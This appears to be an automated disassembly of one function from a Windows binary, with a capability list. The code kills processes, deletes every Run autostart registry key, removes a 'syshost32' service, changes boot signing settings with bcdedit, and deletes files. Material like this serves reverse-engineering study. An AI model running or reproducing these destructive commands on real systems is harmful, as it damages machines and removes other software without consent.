Function at 0x402f45
Capabilities:
Accept command line arguments
Create process on windows
Delete file
Get common file path
Move file
Open clipboard
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1228
call fcn.00404eb0
push esi
push edi
push str.NitrGB
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push str.GlobalNitrGB
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
call dword [sym.imp.USER32.dll_CloseClipboard]
call dword [sym.imp.USER32.dll_GetInputState]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push 0
push 0
push 0
lea eax, [ebp - 0x880]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
mov word [ebp - 0x864], 0
mov ecx, 0x31
xor eax, eax
lea edi, [ebp - 0x862]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
call fcn.0040112c
and eax, 0xff
test eax, eax
je 0x402ffb
push 0x409ac4
lea ecx, [ebp - 0x864]
push ecx
call dword [sym.imp.MSVCRT.dll_wcscpy]
add esp, 8
jmp 0x403010
push str.___abc___
lea edx, [ebp - 0x864]
push edx
call dword [sym.imp.MSVCRT.dll_wcscpy]
add esp, 8
lea eax, [ebp - 0x864]
push eax
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [ebp - 0x888], eax
cmp dword [ebp - 0x888], 0
jne 0x403046
lea ecx, [ebp - 0x864]
push ecx
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
jmp 0x40307c
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x864]
push edx
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [ebp - 0x9b8], eax
cmp dword [ebp - 0x888], 0
je 0x40307c
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov word [ebp - 0x798], 0
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x796]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x104
lea eax, [ebp - 0x798]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str.mmc.exe
lea ecx, [ebp - 0x798]
push ecx
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 8
test eax, eax
jne 0x4030f7
mov ecx, 9
mov esi, str.CMD__C_RD__TEMP___S_Q__MKDIR__TEMP_
lea edi, [ebp - 0xa1c]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0xf
xor eax, eax
lea edi, [ebp - 0x9f7]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0
lea edx, [ebp - 0xa1c]
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
call fcn.00401096
push 0x409b28
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 8
test eax, eax
je 0x403149
push 0
push 0x409b38
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push str.taskkill__f__im_runonce.exe
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push 0x409b70
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push str.taskkill__f__im_cmd.exe
call dword [sym.imp.KERNEL32.dll_WinExec]
mov dword [ebp - 0x884], 0
jmp 0x403164
mov eax, dword [ebp - 0x884]
add eax, 1
mov dword [ebp - 0x884], eax
cmp dword [ebp - 0x884], 0xa
jge 0x403184
call fcn.0040109b
call fcn.0040119a
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403155
mov dword [ebp - 0x590], 0
jmp 0x40319f
mov ecx, dword [ebp - 0x590]
add ecx, 1
mov dword [ebp - 0x590], ecx
cmp dword [ebp - 0x590], 0xa
jge 0x403286
push 0
push str.AfxMDIFrame42
call dword [sym.imp.USER32.dll_FindWindowW]
mov dword [ebp - 0xa20], eax
push str.1___My11
push 0
call dword [sym.imp.USER32.dll_FindWindowW]
mov dword [ebp - 0xa24], eax
cmp dword [ebp - 0xa20], 0
je 0x4031f5
push 0
push 0
push 0x12
mov edx, dword [ebp - 0xa20]
push edx
call dword [sym.imp.USER32.dll_PostMessageA]
mov byte [0x40a178], 1
cmp dword [ebp - 0xa24], 0
je 0x403218
push 0
push 0
push 0x12
mov eax, dword [ebp - 0xa24]
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
mov byte [0x40a178], 1
cmp dword [ebp - 0xa20], 0
je 0x403234
push 0
push 0
push 0x10
mov ecx, dword [ebp - 0xa20]
push ecx
call dword [sym.imp.USER32.dll_PostMessageA]
cmp dword [ebp - 0xa24], 0
je 0x403250
push 0
push 0
push 0x10
mov edx, dword [ebp - 0xa24]
push edx
call dword [sym.imp.USER32.dll_PostMessageA]
push 0
push 0
push 0x10
mov eax, dword [ebp - 0xa24]
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
push 0
push 0
push 0x12
mov ecx, dword [ebp - 0xa20]
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403190
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push str.__zxcv
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 8
test eax, eax
jne 0x4032b7
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, 0x3a980
jbe 0x4032b7
call fcn.004011b8
call fcn.0040112c
and eax, 0xff
test eax, eax
jne 0x4032fe
call fcn.0040116d
push 0x1770
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.___xyz___
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [ebp - 0xa28], eax
cmp dword [ebp - 0xa28], 0
je 0x4032fe
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x14
mov esi, str.reg_delete__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun___f
lea edi, [ebp - 0x9b4]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x37
xor eax, eax
lea edi, [ebp - 0x964]
rep stosd dword es:[edi], eax
mov ecx, 0x14
mov esi, str.reg_delete__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun___f
lea edi, [ebp - 0x12c]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x36
xor eax, eax
lea edi, [ebp - 0xdb]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x17
mov esi, str.reg_delete__HKEY_LOCAL_MACHINESOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRun___f
lea edi, [ebp - 0x258]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x33
xor eax, eax
lea edi, [ebp - 0x1fb]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1a
mov esi, str.CMD__C__WINDIR__sysnative_reg_delete__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun___f
lea edi, [ebp - 0x58c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x30
xor eax, eax
lea edi, [ebp - 0x521]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
push 0
lea eax, [ebp - 0x9b4]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
lea ecx, [ebp - 0x12c]
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
lea edx, [ebp - 0x258]
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
lea eax, [ebp - 0x58c]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push str.sc_delete_syshost32
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push 0
push str._set_TESTSIGNING_OFF
push str.bcdedit
push 0x409db4
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
push str.taskkill__f__im_msiexec.exe
call dword [sym.imp.KERNEL32.dll_WinExec]
call fcn.0040104b
call fcn.004011a4
push 0x104
lea ecx, [ebp - 0x460]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov word [ebp - 0x45c], 0
lea edx, [ebp - 0x460]
push edx
call fcn.00401177
add esp, 4
call fcn.0040105a
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x79c], 0
jmp 0x40345e
mov eax, dword [ebp - 0x79c]
add eax, 1
mov dword [ebp - 0x79c], eax
mov ecx, dword [ebp - 0x79c]
cmp ecx, dword [0x42b6b4]
jge 0x403563
mov word [ebp - 0x1228], 0
mov ecx, 0x1ff
xor eax, eax
lea edi, [ebp - 0x1226]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edx, dword [ebp - 0x79c]
imul edx, edx, 0x208
add edx, 0x40a694
push edx
lea eax, [ebp - 0x1228]
push eax
call dword [sym.imp.MSVCRT.dll_wcscpy]
add esp, 8
push 0x409ddc
lea ecx, [ebp - 0x1228]
push ecx
call dword [sym.imp.MSVCRT.dll_wcscat]
add esp, 8
push 3
lea edx, [ebp - 0x1228]
push edx
mov eax, dword [ebp - 0x79c]
imul eax, eax, 0x208
add eax, 0x40a694
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push 0x80
lea ecx, [ebp - 0x1228]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x80
mov edx, dword [ebp - 0x79c]
imul edx, edx, 0x208
add edx, 0x40a694
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x1228]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x1228]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0x79c]
imul edx, edx, 0x208
add edx, 0x40a694
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0x79c]
imul eax, eax, 0x208
add eax, 0x40a694
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x40344f
pop edi
pop esi
mov esp, ebp
pop ebp
ret